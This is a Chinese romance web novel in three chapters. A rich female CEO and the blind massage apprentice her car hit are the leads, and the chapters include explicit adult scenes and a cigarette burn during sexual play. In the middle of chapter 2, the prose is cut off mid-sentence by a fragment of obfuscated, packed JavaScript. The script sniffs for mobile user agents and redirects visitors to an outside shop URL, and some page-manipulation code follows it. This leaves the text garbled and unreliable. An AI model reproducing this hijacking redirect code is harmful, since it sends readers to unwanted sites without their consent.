《女霸总和盲眼男》 1. 第 1 章 六月末的天气,阳光将地面晒的滚烫,连空气中都裹着热浪,路上行人匆匆忙忙,皆躲在阴影中行走。 新城区,开着恒温空调的vip病房内,温度凉爽宜人。 穿着长裙的女人靠在沙发上,打着卷的发梢随意散在身前,她坐姿慵懒随意,却散发着一种游刃有余的气场。 随着眼前人伸来的手,陈娆懒洋洋掀起眼皮,多情的桃花眼扫过对面,这才启唇将喂到嘴旁的桃子咽下。 几秒后,她开口,语气稍有嫌弃,“太酸了。” 听她这么说,许竞把桃子放下,从果篮里拿起一个苹果,捏了捏,削皮切块,又熟练喂到对方嘴旁。 陈娆喉头滚动,咽下后又道:“有点涩。” 许竞顿住,抬头想说什么,可对上女人的眼神,还是沉默着拿起拐棍,拖着打着石膏的腿一瘸一拐地走到桌旁,拿了兜山竹过来。 没办法,陈娆给他拎的果篮显然是楼下随意买的,她向来吃不惯这种便宜货。 “大小姐,真不知道你是病人还是我是病人。”许竞一边说一边剥,可语气却无埋怨。 没等剥好,女人的手机震动。 陈娆接起电话,十几秒后,她指尖微顿,说了句等我便挂了电话,起身欲离。 “好好养伤,下次来看你。”她随口敷衍。 许竞抬起头,咬牙切齿地问:“陈总,又忙着看哪个男妖精去?” 他早打听好了,今天是周末,陈娆那边刚结束项目,正是休假期。 又是哪个不要脸的贱男人把她勾走了? “少管这些和你没关系的。”说着,陈娆径直路过他身旁,朝着门口走去,背影毫不留情。 就像当年把他甩掉一样。 许竞深吸一口气,还是没忍住把山竹捏碎,汤汁流了满手。 病房门外,李梦看见自家老板走出来,立刻迎上去。 刚才那通电话就是她打的,她也不想打扰老板探望旧情人,可司机撞到人这件事也不小,更何况,被撞那人现在就在楼下呢。 “怎么回事?”陈娆边走边问。 李梦简练解释了一遍来龙去脉,并且主动承认错误。 她家老板每次来见小许总,时间至少一小时起步,恰好医院不远处就有一家连锁洗车行,她就让司机将清晨沾了泥土的车去简洗一遍。 按照李梦的预计,时间至少有二十分钟的富余。结果这个新来的司机偷奸耍滑,没去那家洗车行,而是在路边随便找了个小洗车行,等待中途将车停在马路沿上,占了盲道。 倒车时,还不小心将一个盲人撞了。 见陈娆蹙眉,李梦立刻开口解释:“您放心,我刚才下去看过,人没大事,就是擦破了皮。” 看着挺年轻的一个小伙子,不像会碰瓷的样,也同意私了赔偿。 可她家老板身份特殊,为了防止对方事后再闹,李梦还是报了警。 说话间,电梯里的数字不断下降,最终来到一楼。 这是家私立医院,光挂号费就要四位数起步,来看病的人不算多。因此,刚走进急诊部,陈娆就看见了那个被撞到的倒霉蛋。 见到他的第一眼,陈娆眉梢轻扬,停下脚步。 那是一个高挑英俊的男人,看起来很年轻,皮肤很白,沾染泥土的裤子被挽到膝盖以上,左腿上缠着绷带,此刻正一手扶着墙,一手拄着盲杖一瘸一拐地走。 只是发梢凌乱,短袖也被刮破,艰难的走路姿势也让男人看起来格外狼狈。 分明是个盲人,可看起来冷清又坚韧,像不屈的竹。 陈娆视线移动,缓缓扫过对方瘦削的下颚、紧抿的唇、高挺的鼻梁......最终落在那双失去焦距、却意外吸睛的双眼上。 如同死潭水一般,漂亮、毫无波澜。 很好看的一双眼睛。 如果它的主人不是盲人,应该更加出色。 可惜了,她对残疾人兴趣不大。 更何况对方是个刚被她车撞的倒霉蛋。 就在此时,男人忽然停下脚步,缓慢偏向陈娆所处的方向,顺着玻璃窗洒进的阳光落在他脸上,鸦黑睫羽在眼下投出小片明显的阴影。 配上身上的伤,竟隐隐流淌一种难言的疏离脆弱感。 陈娆仍在观察,在看清他衣服上的字时,眼眸眯了眯。 男人似察觉到,极浅地蹙起眉头,随后伸出盲杖,轻轻试探着。 周序虽然有眼疾,可其他的感官却异样灵敏,这种被人注视的感觉,他不会感受错。 那目光肆无忌惮,毫不收敛,似在打量一件货物,盯的人后颈发紧,引人不悦。 右眼微微暗下的光感也提醒他,他眼前的确有一个人。 并且,随着脚步声靠近,还有一股极淡的香味飘进鼻尖,像某种柑橘类的香水。 周序避开身子,摸到椅子边缘时才停下,俯身去摸他的包。 陈娆看着男人的动作,又瞥了一眼身边触手可及的帆布包,便好心顺手拿起来想递给对方。 动作间,几张红色宣传单露出大半,她目光扫过上面的内容,又看向男人短袖上的宣传语,眉梢扬起。 “盲人按摩,一次五百?”陈娆缓缓开口,在对面人怔愣时,将宣传单扯出一张,慢声念出下面的话:“1299可升级爆款,奢享皇庭精油养生,紧致调控提耐,私密舒展按摩。” 随着她的话,男人原本正常的脸色逐渐变得严肃,他停下脚步,转身看向陈娆的方向,失焦的黑眸有些愠怒,声音却温和坚定,“抱歉小姐,你误会了,我不是做这种事的。” 他的确在按摩会所工作,但对方后面的话语显然很不正经,什么调控紧致?他们按摩店没有这项服务,价格也那么没有离谱。 “小姐,我们是正规按摩店。”他补充道。 陈娆勾唇一笑,“哦,是吗?可这是你宣传单上的原话。” 在男人再次愣神时,她将帆布包塞进对方怀里,瞥过对方破烂廉价的短袖,唇角微勾,贴心补充一句。 “你衣服上也印着呢。” 得知是宣传标语,周序抱着包僵站在原地,脸上一阵红一阵白,表情一下子生动许多,最终一言不发地离开,又被李梦拦住。 看着对方略显狼狈的身影,陈娆唇角弧度加深。 可怜的瞎眼帅哥,看起来被坑了啊。 就在此时,屋里的司机走出来,看见陈娆的瞬间便僵在原地,脸上浮现懊悔又颓然的表情。 “陈总。”中年男人低声下气的开口,没解释什么,他知道这工作保不住了。 “违约金和医药费会从你的工资扣。”陈娆看也没看司机,径直走入休息室。 司机诶诶两声,什么都不敢说,心里懊悔的滴血。他不知道这个医院的挂号费要这么贵,早知道就带着那个小伙子去附近的公立医院了。 现在倒好,不仅工作没了,还白白损失这么多。 陈娆在休息室坐了不到十分钟,李梦敲响门,说已经协商好,并且全程存留视频。 陈娆点头,转身听到一个令她惊讶的赔偿金。 “多少?”她重复一遍。 “八千。”李梦也有些忐忑,这还是加上误工费医药费交通费等等的价格。 作为老板的特助,李梦谈判时就做好对方狮子大开口并且要求做伤情鉴定的准备,她先诚挚道歉,再对对方的伤情表示同情,承诺会包揽对方治疗期一切的费用。 最后,才谨慎询问对方的预期价格。 那年轻人一愣,像是没想过这回事,半晌也没说话。 李梦心里直打鼓,生怕对方张嘴就要百八十万,公司上个月刚有个例子,有顾客故意找茬,一个实习生没忍住,上去扇了对方一巴掌,最后赔了五万块钱。 一巴掌都五万。 被车屁股怼一下,不得翻倍啊。 结果出乎意外,他只要求赔偿误工费和医药费。 得知对方在按摩店当学徒,八千的价还是李梦按照宁市最有名的按摩师时薪算的,比他实际工资不知高出几十倍。 陈娆听完,点点头,什么也没说。 不仅被人坑,连多给自己谋点利益都不会,但省的是她的钱,她自然不会善心大发多说什么。 回去的路上是李梦开的车,漆黑的轿车拐出医院时,映入眼帘的是一个眼熟 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二十分钟前点破他身上广告词的女人,原来就是这辆车的车主,那个人的老板。 周序还记得那个司机把他扶起来慌张问他没事吧,又说自己只是司机,没多少钱,老板脾气冷硬,知道后肯定会辞退他。 周序没想讹钱,但他那时膝盖火辣辣的疼,他看不见自己的伤,只能被司机扶着上车,送到医院处理。 又一声喇叭唤回周序的思绪,再开口时,陈娆语气已经有些不耐:“先上车,这是路边。” 女人命令式语气说的绝对,车后也响起催促的鸣笛声,周序没再耽误,抬手开门。 眼见男人摸索着想拉开后排车门,李梦连忙喊:“周先生,您坐前面副驾来。” “不好意思。”周序低声松手,被太阳晒过的脸颊更加滚烫。 车辆重新启动,李梦提醒他系上安全带,周序很久没坐过轿车了,他拿着T字纽扣,一时没找到卡扣的位置。 安全提示音不断催促,男人睫毛轻颤,喉结焦急滚动,一只手不断摸索。 可越着急越找不到。 陈娆望着那只摸索的手掌,几秒后,她忽而伸出手,掐住男人手腕,带着他将纽扣插进去。 “在这里。”她说。 男人皮肤滚烫,凸起的腕骨抵着她掌心,咔哒一声后,陈娆收回手。 吵闹的提示音终于消停。 周序松了口气,扭头低声说:“谢谢。” 陈娆抬起头,却被阳光晃的眯了眯眼,眼前人还保持着扭头的动作,似乎是想说什么,在思考措辞。 阳光映照在他侧颜上,优越的轮廓似漫画里的男主。 也是这个时候,陈娆才发现,这人的五官格外精致,可轮廓却有种少年感,似乎正处于一种青涩与成熟的交界处,男孩与男人的临界点。 心念一动,她脱口而出,“你成年了吗?” 周序微微一怔,平静回道:“我已经二十了。” 才二十。 比她小七岁呢。 既然成年了,也不用告知对方父母,陈娆毫无压力的靠回去。 被一打岔,周序喉结滚动,也闭上嘴。 她原本打算把这个倒霉蛋送回家,也算仁至义尽,结果对方只报了个按摩店的名字,说自己还得回去上班。 一路上,陈娆的微信不断震动,全是来自许竞的消息,她懒得回复,索性直接把人免打扰。 要不是碍着两家长辈的关系,她才懒得去看他,这么多年,许竞还是那么会顺杆爬。 太粘人的男人,她前些年喜欢,现在早玩够这款了。 太麻烦了。 曾有好友吐槽过陈娆,她挑男人的标准太苛刻。太粘人不行,不粘人更不行,既要顺她心当解语花,还要在感情里做小伏低哄着她,满足她的各种私人癖好,这种男人定制都定制不来。 可实际上,陈娆从来不缺伴儿。 多的是上赶着给她当狗的男人。 2. 第 2 章 黑色轿车缓缓停在一家按摩会所门口,店面宽阔华丽,只是门外悬挂的透明窗帘已经老旧泛黄,旁边窗户上还贴着几张宣传海报,内容不太雅观。 怪不得能把宣传单写的那么擦边。 车子刚停,门口便走出一个梳着大背头的男人,在看清车型时,立刻换上热情浮夸的笑容,拿起挡在店门口的禁停牌,想招揽这份生意。 可当副驾车门打开,缓缓探出来一根盲杖,又走下一个瘸着腿的青年时,背头男立刻傻了眼,“小周?怎么是你?” 说话时,他余光不忘上下打量着那辆看似低调的车子,还有坐在后排的那位老板。 只可惜车窗贴了防窥,他什么也看不清。 “这车是?”背头男不死心的问着,“你不是去发传单了吗?这是客户?” 周序没回答,只扶着车门,低声道谢后才关上门。 回来的路上没人和他提赔偿款的事,那位老板让他上车,似乎是单纯为了送他回来。 老板她人很好。 毕竟八千块钱,对周序来说确实是笔不小的费用。 他在这家按摩会所当学徒,虽然包吃包住,可一个月工资才两千,有时还要被各种名义克扣,到手经常不足一千五。 轿车离开后,周序才转身打招呼,“赵哥。” 名为赵哥的男人这才看清他狼藉的模样,忙问:“你这是咋了?掉沟里了?” 周序低声解释后,赵哥的表情迅速严肃起来,“我靠,你报警了吗?都给你撞成这样了,不能简单包扎一下就算了啊。你头疼不疼,恶不恶心,万一撞出脑震荡了呢.....不行!我现在就陪你去做全身体检,不给个说法这事没完。” 被拉住的周序眉头一皱,“我没磕到头,也报警备案了,赔偿款我们也商量好了。”说今晚就打给他。 听到关键词,赵哥顿时停步,着急追问道:“赔多少啊?几万啊?” 周序沉默几瞬,还是如实说了价格。 “多少??”赵哥猛地提高嗓门,会所里有人探出脑袋,“八千?!你脑子被撞傻了吧!你知道刚才那辆送你回来的车是啥吗!” 周序还真知道。 他不是全盲,右眼还存留三分之一的视野,看不清字和具体景物,但在光亮充足的环境下能勉强看见一些图形轮廓,扶着车起来时,他刚好看见车屁股上的四个模糊光圈。 “奥迪。” 听着周序平淡的语气,赵哥瞪大眼睛,气不打一处来,“那你就没看见车屁股上那字母?S8啊!有钱开两百多万的车,撞了人就赔八千,真是抠门到家了。你也是傻,不知道多讹、多要点!” 周序没再开口,他忽视那些骂骂咧咧的声音,拖着疲惫酸痛的身体回到员工宿舍。 他很清楚,赵哥不是在替他抱不平,而是埋怨他要的太少,没法从他这抠出太多赔偿款。 对方开多少钱的车都和他没关系,有钱人也不傻,不会善心爆发莫名其妙塞他几万块。 何况他在医院也拍了片子,医生说他既没有骨折也没有骨裂,全身上下最严重的伤就是磕肿的膝盖。 逼仄拥挤的宿舍里,周序将盲杖放在一旁,瘸着腿地走到自己的铁柜前,打算换身衣服。 在摸到统一发放的员工文化衫时,他沉默几秒,松开手,转而拿了一件自己的短袖。 有些旧,但很干净,上面没有任何令人不适的宣传标语。 前几天老板和他说,他年轻,并且是盲人,出去发传单肯定吸引人,能收获一波同情票。 周序本来就是学徒,老板说什么就做什么,没有拒绝的权利。 他发了三天,为了寻找客源,不仅在写字楼街口发过传单,还在学校门口给等孩子放学的家长发过,结果没十分钟就被保安哄走。 当时保安揪着他衣领,动作有些粗暴的把他推出重叠的家长圈,当时还有人窃窃私语,说看不出来,他一个瞎子还干这个,还有人说他是装瞎。 周序当时没多想,只以为是学校周围不许发传单,于是默默整理了衣领,借着盲杖离开。 没一个人告诉他,他穿的衣服上和宣传单上,都印着那种话。 想起白天那位老板的语气,周序垂下眼眸,心中说不清是什么滋味。 视力丧失后,他的听力变得愈发灵敏,女人声若击玉,冷清悦耳,可他还是察觉到,最后那句微微拖长的语调,与旁人难以察觉的戏谑。 这么多天,他身边每个人都看见了那段话。 她是唯一一个说出来的。 若放在前两年,他大概会觉得难堪羞耻,但如今,他只是觉得有些麻木与疲惫。 伤口不能沾水,周序没去澡堂,就在宿舍接了盆水,顺便把脏衣服泡在洗衣盆里。 他锁上门,脱掉身上最后一件。 与看起来的瘦削外表不同,男人肩背宽阔,身上的肌肉紧实,线条流畅,有种常年锻炼的感觉,冷白皮肤上还有划痕与硌出的淤青,平白增添几分战损美感。 但这具身体的主人显然意识不到,他正用保鲜膜将膝盖的纱布缠紧,随后用浸水毛巾一点点擦过身上,温水顺着腹肌沟壑滚落,滑过结实有力的长腿,将汗水与脏污带走。 做完这些,周序请了半天假,又将帆布袋放到前台。 宣传单他不想发了。 * 陈娆不知道会所的事,她回去后补了一觉,再睁眼,一份完整的监控录像被发到手机上。 正是那倒霉蛋被撞的全过程。 恰好被洗车行门口的监控拍下来。 监控里,司机一手拿着电话,一手扶着方向盘,一边说话一边倒车。 原本后面宽敞无人,可就在半截车身倒上路沿时,拐弯处忽然伸出一个盲杖,与此同时,一个身影缓缓出现。 可司机没看见,还把倒车警报当成离树干太近。于是下一秒,司机猛踩刹车,车身晃悠一下。 忽然出现的男人很倒霉的被车屁股怼到灌木丛里,表演了个一秒消失术,盲杖孤零零滚了好几圈。 那个叫周序的男人身上的伤不是被撞出来的,全是摔倒灌木丛里被划出来的,最严重的膝盖也是磕到边缘的石头。 司机当然是全责,可周序也是倒霉。 当天晚上,赔偿款被转入周序的账户。 交警那边出了责任判定书,双方签了字,陈娆的车也因占用盲道受了处分,这事也算过去了。 生活依旧继续,陈娆也得去公司处理正事。 自从五年前她爸妈把她空降到盛卓后,她就失去了游戏人间纵情享乐的大小姐生活,高调的跑车们被收回,她也从家里的半山别墅搬了出来。 历练一段时间后,陈娆顺理成章成了盛卓最年轻的总裁。 盛卓,宁市最大的酒业集团,其下酒类遍布国内大小城市,在中老年群体中知名度极高,但还没打开年轻人这条赛道。 去年盛卓打算进军饮料赛道,在新城区那边建了个新厂,又花了巨资进行营销与地推,所幸成效也不错,新品一上市便拿到不错的成绩,各个大区的经理接二连三排单。 这条产业链从提案到建厂都是陈娆通过的,成绩自然也是她的。 庆功宴后,流程正常运转,她也能忙里偷闲几日。 当天晚上,陈娆便出现在一家娱乐会所里。 隐私性极好的顶楼包厢内,陈娆靠在沙发上,指尖夹着一根燃到半截的细烟,暖色灯光洒在女人明媚侧颜上。 指尖火星明灭,陈娆嘴角噙着笑意,漫不经心地看着眼前的表演,可眼底并没太多兴趣。 眼前几个男生面容都格外精致,风格各有千秋,每个拎出来在社交媒体上都算个小网红,旁边唱歌那个,更是最近综艺节目中崭露头角的小偶像。 娱乐圈更新迭代的速度太快,每个人都想往上爬,再狠狠捞一笔。 盛卓其下的产业虽不涉及娱乐圈,但是,陈娆有钱。 她年少时也曾谈过几段轰轰烈烈的恋爱,出手更是大方,除了身家和她差不多的许竞外,每个跟过她的男人,提起她时无不带着怀念。 但这钱拿的也并不容易,不仅因为陈娆眼光苛刻,还因她喜欢一些无伤大雅的癖好,除了发小汤茵外,知道的人并不多。 此刻,见陈娆眼中兴致不浓,一旁的汤茵从一个腹肌男怀里起身,贼兮兮凑过来,趴在闺蜜耳边道:“娆娆,知道你看不上这些,我给你准备了个顶帅,包你喜欢。” “什么顶帅?”陈娆转头,看向汤茵亮晶晶的眼睛。 后者神秘一笑,一脸''你懂的''意思,随后挥手让屋里人出去,那几个男生动作一顿,眼中皆有些不甘愿,却也不敢违抗汤茵的意思。 屋内再度恢复寂静,汤茵转过头,笃定道:“这个绝对合你胃口。” 下一秒,厚重的门被推开,一个高挑的身影走进来。 陈娆的目光落在对方脸上,那是一个黑发碧眼的混血男人,留着桀骜的寸头,穿着酒保的套装,衬衫外套上背带夹与臂环,将蓬勃的肌肉完美勒出,骚气又性感。 有些廉价的服装也被他穿出一种别样的诱惑。 汤茵挨过来,给闺蜜介绍道:“怎么样?我公司刚签的模特,中法混血,上周刚体检完,绝对健康无疾病。身高一九二,二十。” 肩头被怼了两下,转头就看汤茵笑的格外暧昧,陈娆没问这个二十是指年龄还是其他的,而是从上到下,缓缓扫过眼前这个端着托盘走过来的男人。 对方身材高大,给人一种压迫感,陈娆眯起眼,需得仰头看向对方。 男人走过来,下一秒,无比自然的单膝跪在陈娆身前,将盘中酒递给她,中文格外标准。 “陈总,久仰。我叫凯兰。” 陈娆没接酒,目光缓缓下落,扫过对方锋利的轮廓与没有断层的肤色时,眼底终于来了点兴致。 她挑床伴除了颜值与身材外,还有一个点。 她喜欢皮肤白的男人,脱光也养眼。 单这一点,就曾经刷下去很多人。 汤茵之前不理解,她就喜欢小麦肤色的帅哥,觉得有荷尔蒙张力。但她无比尊重闺蜜的喜好。进时尚圈这么些年,碰见干净合适的都会往陈娆身边送送。 大部分陈娆都看不上,但凭她对发小的了解,这个男模肯定不一样。 事情也如汤茵所料。 “凯兰?”陈娆重复一遍对方的名字,接过酒。 “是。”凯兰笑笑,那双碧绿的眼看向陈娆,“陈总,很荣幸见到您。” 他说着,掌心接住即将掉落的烟灰,仰头朝她一笑。 陈娆勾起唇角,下一秒,她随手将烟按在男人小臂上,星火在两层布料中熄灭,可残存的热度还是灼烧着人的皮肤。 汤茵轻嘶一声。 凯兰呼吸急促,可愣是生生忍下来,泛白的唇在女人指尖落下一个吻,充满讨好的含义。 陈娆眼底兴色更浓,她将杯子抵在凯兰唇边:“我不喝外面开的酒。” 对方愣住片刻,立刻道歉:“抱歉,是我没考虑好。” 随后,男人仰头,一口气将酒喝掉。 凸起的喉结不断滚动,因为喝的太快,有酒液顺着唇角滚落,蜿蜒流淌在脖颈上。 最后,凯兰起身将杯子放到一边,重新启酒,奉给对方赔罪。 陈娆接过,饮下一口。 她这个人向来活的潇洒,碰见干净合胃口的就得尝尝。 更何况为了公司的新品,她已经空窗了三个多月,期间时不时还要应付一下缠人的许竞。 汤茵不亏是她发小,这个叫凯兰的男模,确实比刚才那些男生更有吸引力。 手机震动几声,汤茵朝她眨了个眼。 陈娆点开看了眼,是凯兰详细的体检记录,外加一组模卡。 身材确实不错,皮肤也确实白。 混迹生意场这么多年,陈娆早没有耐心从牵手约会开始,酒吧散场后,她直接把人带回了檀湾。 凯兰很健谈,也很会察言观色,回去的路上,他讲他面试时的趣事,不至于让人厌烦,尺寸把握的刚刚好。 直到走进屋子,那些话语自动消失。 没有开灯,月光洒进昏暗房间,氛围微妙而缠绵,望着对方那双碧绿温柔的眼眸,陈娆圈住男人腰身,指尖抚上腹肌。 从陈娆裙下出来时,凯兰鼻梁上染着晶莹,他抱起沙发上慵懒的女人,听着对方的指挥走进卧室。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323467|199087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 主卧干净整洁,却没有什么生活的痕迹,这并不是陈娆常住的房子。 可是东西却很齐全。 陈娆挑了一盒扔给对方,凯兰撕开戴上,伏在她耳畔道:“希望我能给您带来很好的体验。” 第一轮结束,陈娆靠着凯兰缓了一会儿,她将长发拢到脑后,把男人的一只手拷在床头,氛围蜡烛被点燃。 长夜漫漫,陈娆对他还算满意。 很自然的,两人开启了一段长期关系。 有她的面子在,凯兰也走了几场大秀,在时尚圈开始刷脸。 假期结束后,又一波新品在研发中,陈娆日程很忙,她没空陪小男友玩恋爱游戏,只在有需要时叫凯兰过来,再开启一场成年人的解压活动。 可凯兰却有些粘人,他经常要和陈娆报备,并且主动学习了几道拿手菜,会在她回家前裸体围裙在厨房炒菜。 除了这些,一切都还好。 * 会议现场。 聚光灯打在陈娆身上,她垂眸利落签完字,随后大方一笑,与身旁的领导握手,共同合影留念。 这是盛卓与宁市政府的公益合作,新厂设立了残疾人部门,专门招收了一批残障员工。 最近几年,宁市政府通过补贴、税收优惠等政策鼓励企业公司吸纳残障人士就业。 为了吃到政策红利,也为稳固盛卓形象,在新厂成立后,陈娆便令人成立了这个部门。 手机震动两下,等回到后台,她打开才发现,是凯兰的消息。 【娆娆,我到啦。】 配图是一张男人的wink自拍。 这个称呼是陈娆默许的,凯兰小她三岁,可从不管她叫姐姐,而是把她搂在怀里,缠着发梢,在她耳畔腻乎乎叫了声娆娆。 她当时爽的微微失神,也就顺口应下。 指尖点开照片,背景是地下车库,那张混血脸怼满屏幕,显得骨相更加优越。 陈娆确实蛮喜欢这张脸,她经常坐在上面。 凯兰也意识到这点,所以隔三差五给她发照片,持续性刷脸,生怕陈娆把他忘记。 这段时间公司都知道他攀上了一位年轻美丽又大方的金主。不少人私下偷摸打听,妄图攀上关系,想方设法的撬走。 凯兰就算再帅,可模特公司最不缺的就是混血儿,一张脸总有看腻的时候。 汤茵后来也打听过,要是发小对这个凯兰不满意,她这还有一堆资源呢。 但陈娆暂时还没腻。 最近因为公司的事,她确实已经有段时间没和凯兰见面,正当她准备回复时,门扇被敲响。 李梦打开门,迎面就是抱着一大捧红玫瑰的凯兰。 男人笑的灿烂,径直走进来,将红玫瑰送到陈娆怀里。 知道这是老板的新情人,李梦默默离开,顺带将房门带上。 “今天没有拍摄?”陈娆指尖拨了拨艳红的玫瑰瓣,语气听不出波澜。 “上午拍完了,听说是见你,汤姐特意给我批了假。”凯兰一手搂住陈娆的腰,俯身欲亲吻她的唇。 可这次却没有如愿,陈娆指尖抵住男人的脸,唇角带着笑意,可说出的话却很冰冷,“下次别在我工作时间过来。” 她说罢站起身,瞥向沙发上慌神的男人,“只此一次,下不为例。” 凯兰压下眼底的受伤,若无其事地站起身,环住陈娆的腰,弯腰将头抵在她颈侧,为自己的不懂事道歉。 他平时都不敢去盛卓,今天的地点不在她公司,他才敢来的。 陈娆拍了拍小男友的脑袋,动作有些敷衍。 李梦在门外等了一会儿,老板两人才走出来。 渡过炎热的夏季,宁市正式进入多变的雨季。 刚出地下车库,天上便噼里啪啦砸下雨滴,整座城市瞬间湮灭在倾盆暴雨中。 车辆疾驰在雨夜里,车上放着轻音乐,将雨声隔绝。 陈娆并没有带人回檀湾,而是去了凯兰那里。 后天是凯兰生日,可惜她那天有事,腾不出时间陪他,在对方的软磨硬泡下,她只好答应今天去他家陪他过个生日。 凯兰租的公寓在一个中档小区,临近商场,人口密集,路段拥挤。 雨势逐渐减小,眼见离小区越来越近,结果前面忽然连环追尾。 这下子,拥挤的路段彻底不动了。 鸣笛声不断响起,不少车纷纷绕开这条路。 凯兰眉头皱起,一边观察陈娆的脸色,一边和司机开口:“要不咱们也绕一下吧,从后门走。” 陈娆点头后,司机一脚油拐进旁边的小路。在凯兰的指挥下,成功开进通往小区后门的街道。 和正常小区的大门不同,这个小区年头老,要进入后门,还得穿过一条小街巷。 街巷偏窄,且两边都是做生意的平房,有些店门前还停着电动车,格外考验车技。 车身小心穿行在巷子里,凯兰腻在陈娆身边,脸上有些挂不住,他脸上带笑,眼底闪过几分烦躁与不耐。 什么破天气。 结果刚拐个弯,司机又踩下刹车,停在某个商铺门前。 原来是后门也堵了一长串的车,保安正挨个做登记。 凯兰握着陈娆的手,委屈巴巴凑近道:“抱歉娆娆,我不知道后门也这么堵,早知道不如从前面绕了。” “没事。”陈娆懒洋洋道,“我今天不赶时间。” “可我不想让你饿肚子。”凯兰语气真诚,“你胃不好,等会儿回去我快点做饭,饿久了胃会疼。” 凯兰的厨艺不算好,却尤爱用主动下厨表达自己的贤惠体贴,陈娆大部分只是尝几口。 为了这顿饭,凯兰连着实验了三天,每道菜都给同事打包尝过,都说好吃。 他有信心做好。 陈娆嗯了声,目光无意扫过窗外,却在看见什么后,忽而顿住片刻。 车窗外,她看见一个突兀又熟悉的身影。 浓黑雨夜中,那个瘦削清俊的男人安静站着。他穿了件黑色大衣,身姿修长,朦胧细雨中,衣摆被风吹的轻晃,周身似裹着一层化不开的冷意。 似有心灵感应,在她停顿的瞬间,对方也抬眸望过来。 3. 第 3 章 安保登记很慢,后面的车等不耐烦,接连摁喇叭催促。 凯兰皱起眉,那张混血脸显得有些凶冷,金主女友就在身边,他不好抱怨,只能压下心底烦躁的情绪,频频观察着身旁人的情绪。 陈娆坐在窗边,偏头望着那道人影,在看见对方手中的盲杖时,才想起那股熟悉感从何而来。 窗外的雨虽不至于瓢泼,可还在淅淅沥沥下,前面负责登记的保安都套着雨衣,可这个男人除了一顶鸭舌帽外,没有任何遮雨装备。 盲杖敲点地面,没多久,那道身影走到她的车辆旁边。 随后抬起手,指腹触碰到冰冷玻璃的瞬间便停下,轻轻叩响车窗。 凯兰瞬间抬头,神情警惕地盯着车窗外的年轻男人,可没等他开口,陈娆便降下车窗。 冷风携雨扑进车内,将女人鬓角碎发吹起。 看见来人那双黯淡的眼时,陈娆恍然大悟,最终确认对方的身份。 这么巧,这不是前段时间那个盲人帅哥吗。 她盯着对方将手探到风衣里的动作,直接询问:“什么事?” 女人声音清脆,即便在夜雨里,依旧让人听的清晰。 比她的声音更有辨识度的,是车窗降下时,那股极其浅淡又清冽的柑橘香。 即便在雨夜中,依旧能嗅到些许。 周序怔住片刻。 “你干什么的?”与此同时,凯兰也挨过来,眼瞳紧紧盯着对方的脸,判定着来人的身份。 不是他那些虚伪的同事们。 是个瞎子。 他心中的警惕感稍微降低,眼底也浮起不屑与高傲的审视。 对方既不说话,又没动作,陈娆毫不客气地开口:“你哑巴了?” 在听见这句后,眼前人终于回过神来,将一份宣传单小心地顺着车窗缝隙递进去。 男人的手指很长,指骨分明而苍白,手背浮起明显的筋骨,冰冷雨水顺着手背滚落,指尖捏过的宣传单被洇湿一小块。 又是这个工作,雨夜中依旧靠近危险的车。 陈娆随意扫了眼,没看见上次那些擦边的宣传语,就是很普通按摩店套餐。 红底白字,老套又不起眼,字体也没有突出重点,除非精准交到需求客户的手中,否则看一眼都觉得浪费时间。 这种线下发宣传的地推,向来是回报率最低的一种。 尤其还是个盲人来发。 他老板脑子也不知道怎么想的。 帽子无法抵挡风雨,周序浑身被雨水淋透,帽檐下的脸色发白,却还是强撑出一抹笑,客客气气道:“小姐,盲人按摩需要吗?我有证的,您看着给就好。” 他说话时,身子微微靠前,大衣敞着,露出里面的黑色T恤。 也不知道是洗的太勤还是衣服本身的设计,T恤领口低且松,稍一弯腰,便露出锁骨和大片白皙的肌肤,还有从胸口开始延伸的肌肉.沟壑。 他肩身落满雨珠,随着弯腰的动作,积攒的雨水争先恐后滚落,沿着锁骨滑到衣服里,打湿白腻的皮肤。 陈娆目光停顿片刻,几秒后才往下扫了眼。 这次的衣服也很干净,没有什么浮夸的标语。 夜雨中,男人被雨打湿的睫毛轻颤,或许因为紧张,凸起的喉结轻微滚动,等待着顾客的回应。 身后的凯兰脸色变得极差。 谁家按摩的穿成这样?还把腰弯的这么低?? 虽然帽檐遮挡了男人的上半张脸,但从他挺直的鼻梁与瘦削的下颚来看,长相应该不赖。 还看着给就好。 装什么装。 陈娆正思索着,身旁的小男友忽然挨过来,从她手上拿走那张宣传单,又抬头看着车窗外正在等待的男人。 堵车已经消耗近凯兰的耐心,如今又碰上这么个装货,他嗤笑一声,慢声戏谑道:“这年头瞎子也出来卖了,真瞎假瞎也不知道,还知道往豪车上贴。” 这个瞎子可精明死了,分明前后都有车,他却能精准走到这辆飞驰旁边敲车窗。 不让人怀疑都难。 听见男人嘲讽的话,周序僵住,脸色骤然变得难堪,“我不是卖的。” 他咬字很重,可凯兰却嗤笑一声,“想什么呢哥们儿,你不是卖按摩套餐的?那你发什么传单啊。” 他只说他卖,又没说他卖什么的。 怪这瞎子自己过度理解。 周序拳头攥紧,唇瓣动了动,却没有再说什么。 凯兰哼笑一声,转身将陈娆搂进怀里,指尖勾着她的发,暧昧开口,“娆娆,别理他,我回去给你做精油按摩。” 随后,又俯身在她耳畔低声说了什么,掌心流连在她腰肢上。 陈娆挑眉收回视线,在车窗关闭前,她倏而提醒一句,语调意味深长,“谢谢,但我不需要。你小心点,这儿车多,可别再撞着。” 再来一次,那就不是单纯倒霉了。 那叫蓄意碰瓷。 何况就算她需要按摩,也会选择信得过的会所,而不是一个陌生男人的自我推销。 至于后面那句,是单纯提醒这个倒霉蛋儿。 凯兰没听出那个''再''的含义,在陈娆看不见的地方对车外人翻了个白眼,“娆娆,这边碰瓷的多,不用理他们。” 恰好前面几辆车登记完毕,司机见老板将车窗关闭,一脚油门启动,轮胎碾过水洼,独留车旁边的男人被溅了一身水。 而那张宣传单也被凯兰毫不客气的扔出窗外,落在积水地面,很快被来往的车辆碾成烂泥。 在保安的驱逐下,周序往后退了几步。 他站在原地,脑海中回荡着那句''你小心点,这儿车多,可别再撞着。'' 